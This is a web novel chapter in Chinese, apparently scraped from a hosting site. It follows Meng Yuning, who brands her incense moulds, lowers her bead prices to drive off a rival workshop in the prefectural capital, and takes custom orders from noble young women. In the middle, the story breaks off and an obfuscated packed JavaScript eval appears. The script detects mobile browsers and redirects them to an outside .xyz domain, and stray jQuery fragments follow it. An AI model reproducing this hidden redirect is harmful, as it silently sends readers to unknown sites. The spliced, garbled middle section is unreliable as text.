深秋季节，早上已经需要穿薄袄，孟玉宁听见外面扫院子的声音，又往上拉了拉被子，决定等一会再起床。


    对面孟玉卉已经穿戴好，看着妹妹不但不准备起床，还缩的更结实了，就笑着提醒她：“今天吃饭的时候你要是还没起来，母亲就该发脾气了。”


    孟玉宁不情不愿的睁开一只眼睛，缓声道：“咱们家起床的时间也太早了，外面天还没亮呢，又没着急的事，那么冷，起来做什么呀！”


    孟玉卉笑她：“你不会是在县里富贵日子过习惯了，忘了家里的杂事得咱们自己做了吧？”


    孟玉宁想到晁茗芹听到定制的香品模具，需要十两银子，她眼睛不眨的认为合适的样子，感叹道：“只是不干家里杂事算什么富贵日子。”


    感慨了一番，孟玉宁也躺不下去了，坐起来，起床，抓紧挣钱！


    今天已经是回家的第三天，如果不是等着爷爷刻的模具，今天其实就该回县里了。


    回家的这两天，孟玉宁也不是什么都没干。


    商行前期铺货完成后，孟玉宁决定把香牌和挂件的款式都换一遍，等他们二次补货的时候，开始销售新款。


    所以在回家的这两天，孟玉宁一直在设计图案。


    刚开始给孙掌柜送货的时候，只有香珠和香牌，后来又加了各种挂件。


    香珠个头太小，传统的那些经典花纹难以超越，不需要设计什么新款，只需要设计香牌和挂件的新款就好。


    这次设计的图案，孟玉宁都在右下角加了个小圈，圈内写了个孟字。


    从这次换模具开始，就该做品牌了。


    在家两天，香牌设计了一套十二生肖图案，今天需要再把图案分成大中小三个尺寸。


    爷爷昨天就把晁茗芹定制的花卉模具给刻好了，用的是以前存下的楠木尾料。


    小猫模具不属于定制，改用成本低的枣木，今天也能刻好。


    孟玉宁请爷爷雕刻模具，一套楠木模具二两银子，枣木模具一套二百文，单个模具看大小，小模具五文，大模具十文。


    和爷爷谈价格的时候，孟玉宁差点挨了一顿鞋底，老爷子觉得孙女和自己谈钱是跟自己外道了。


    孟玉宁大喊：“爷爷，不是我，是高婆婆定的价！”


    老爷子听了，这才穿上鞋。


    孟玉宁重新挨过去：“客户定制一套模具店里要十两银子，您出工又出料，定价二两银子真的不高！”


    老爷子看孙女：“你作坊里用的模具也给我算钱？”


    孟玉宁讨好道：“高婆婆店里用的您该收收，我作坊用的，您就当给我刻的小玩意，还收钱呀？”


    她这么说，老爷子才算满意。


    ……


    在家画了三天图，爷爷也把两套模具雕好了，孟玉宁把图给爷爷留下，拿着模具回了县里。


    回来后第一件事，拿作坊里的香料用模具先做一套，脱模后看初效有没有问题，其实爷爷雕刻好以后也试过了，确定没有不妥的地方才算完工的。


    孟玉宁再用香料试一遍，也是为了保证万无一失，毕竟定制的香料可不是便宜货，高端货就要有高端的样子，不能有一点瑕疵。


    孟玉宁准备等这些香品阴干后再看，确定成品没问题后，才可以制作定制的香料。


    定制的生意不能急，作坊的生意却是需要分秒必争。


    现在正是商行铺货的时候，两个管理工人的大娘知道出货量，带着工人们每天都加班加点的制作香品。


    作坊里的事基本上不用孟玉宁操心，她就把学习制香以外的时间，全部用来设计挂件图案。


    挂件不需要和香牌一样规整，孟玉宁彻底放飞自我，三天的时间就设计出了二十多款挂件图案。


    正想着回家给爷爷送去，老爷子自己驾着车来了。


    老爷子来去匆匆，吃过午饭，把刻好的香牌模具给孟玉宁留下，就要带着她设计的挂件画稿回去。


    孟玉宁拉着爷爷的胳膊，心疼道：“爷爷您歇一晚再回去吧。”


    老爷子干劲十足，精神好的很，揉了揉孙女的头顶，笑道：“放心吧，爷爷身子好着呢，回去先把这些刻出来，下次过来我就多住几天。”


    商行再来拉货的时候，孟玉宁的新款模具已经全部雕刻好。


    新款香品小样出来，孟玉宁就拿着去商行里让孙掌柜看了。


    孟玉宁一开始制作便宜香品的时候，针对的销售对象是年轻女性，现在的新款，又增加了适合儿童和老人的款式，香方也是选择了防惊厥和安神的。


    孟玉宁这次来商行可不只是让孙掌柜看新款，她还主动把旧款的香品往下降了价。


    孙掌柜听完就笑：“孟姑娘，你这个价格降的可真及时啊！


    我听说州府那边已经有人准备也开一家香品作坊，整个兼州已经被咱抢先铺了货，对方想要进入市场，价格必定要低于咱们才行，你提前降价，对方想要进入市场可就难了。”


    孟玉宁听完，没有孙掌柜那么乐观，她思索了一会，最终咬牙道：“香珠的价格，以后再出货，我这边给你们按斤计价，一斤只需要一百文。”


    香品一直都是按个论价，一斤成品香珠能卖到四五百文，刚才孟玉宁已经主动降价，一斤也能卖到二百多文，现在一下子降到一斤一百文。


    孙掌柜一下瞪大了眼睛：“姑娘此话当真？”


    孟玉宁：“孙掌柜应该也注意到了，我的新款香牌和挂件都加了‘孟’字标记，我需要年前的时间，让大众认识这个字号。”


    孙掌柜听完，真心赞道：“姑娘有魄力！”


    孟玉宁谦逊道：“这也是没有办法的决定。”


    出现竞争对手，香珠降价到论斤卖，其实早在孟玉宁的预计之内，现在自己主动降价，就能掌握年前的主动权。


    香珠降至一斤一百文其实还是有一半的利润的，但是便宜香品质轻，需要足够的销售量才能有利润。


    孟玉宁把香珠价格降到了最低，有前期的合作关系在，孙掌柜的商行就不会再去进别家的货，销量保住了，利益就保住了。


    香珠降价，香牌和挂件却没有降，只要自己能一直出新，香牌和挂件就能一直维持着原价。


    两次大批量的出货，差不多就够了商行前期铺货量，从商行回来，孟玉宁撤了之前用的香牌和挂件的模具，全部改用新款模具。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786403|171999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>……


    冬天如约而至，天气寒冷却未落雪，商行拉货的车缓缓远去，孟玉宁的心也彻底放下了。


    州府的香品作坊还没有正式开业，就宣布关门了。


    这个结果，孟玉宁在决定香珠论斤卖的时候，就已经想到了。


    州府的香料作坊是后来者，他想要出货，必须把所有香品全部降价才能拥有市场。


    既不是独一份的生意，又没有铺货的量，所有香品论斤卖，费心又费力，最后其实挣不到几个钱。


    有那些心力，去做点什么都比开香品作坊挣的多，所以对方关门也算是及时止损。


    经过这一次，孟玉宁深刻明白了，‘商场如战场’的道理。


    小小的低价香珠作坊尚且如此，以后去州府开高端香楼，面临的竞争会更大。


    对于可以预见的竞争，孟玉宁不但毫无畏惧，反而因为可知的竞争而生出了必争的斗志。


    心里正是斗志昂扬的时候，一声：“宁宁”，把孟玉宁拉回到现实。


    随声看过去，晁茗芹正带着丫鬟向自己挥手。


    孟玉宁先扬起一个大大的笑容，向对方迎了过去。


    香楼的楼角还没挣到，商业竞争就更遥远了，还是先把眼前的客户维护好更实际。


    ……


    晁茗芹定制的香品拿走刚两天，就带了两个要好的朋友过来。


    两位姑娘都是十四五岁的样子，性子都不张扬，但是通身的气度却不是普通人家能养出来的。


    孟玉宁谨记着这几天高婆婆教的，对于高端客户，不能太过热情。


    高婆婆认为，太热情，就显得谄媚了。


    如果没有高婆婆的教导，孟玉宁认为面对送钱的高端客户，怎么热情都不为过。


    谄媚怎么，为了金钱折腰不丢人。


    但是讲究优雅，内心又隐带傲气的高婆婆，是不会允许自己教出来的孩子对人谄媚的。


    对于真心对自己好的，孟玉宁从来都是听劝的。


    不就是不用太热情么，不热情，又不是态度不好，好好招待，不过多推销不就行了。


    所以在面对两个姑娘询问定制的时候，孟玉宁却劝她们先用一段时间店里的日常香品，亲身用过了，若是觉得还合心意。再说定制也不迟。


    其中一个姑娘就笑着对晁茗芹说：“你说你这个朋友最是实在，我原还不信，不过现在我是真信了，谁家做生意的会把大订单往外推呀！”


    自己介绍的人得到夸奖，晁茗芹也觉得面上有光的很，对孟玉宁说：“她们想定，你直接给她们设计就是，我用的香送她们用过，也见过我做的那两套香品，她们是真的确定喜欢才来定制的。”


    既然用过店里的香，孟玉宁就不再推辞了。


    先根据一位姑娘的需求喜好设计了两款，对方竟然和晁茗芹一样选择困难，最后也和晁茗芹一样，两款设计，定制了一款可收藏的，第二款不算定制，但是有一个季节的专属期。


    轮到第二位姑娘设计的时候，孟玉宁听完对方的需求和喜好，只设计出了一款，第二款她没动笔，说是要等去过城外的梅园，赏过今年的梅景，再把第二款给设计出来。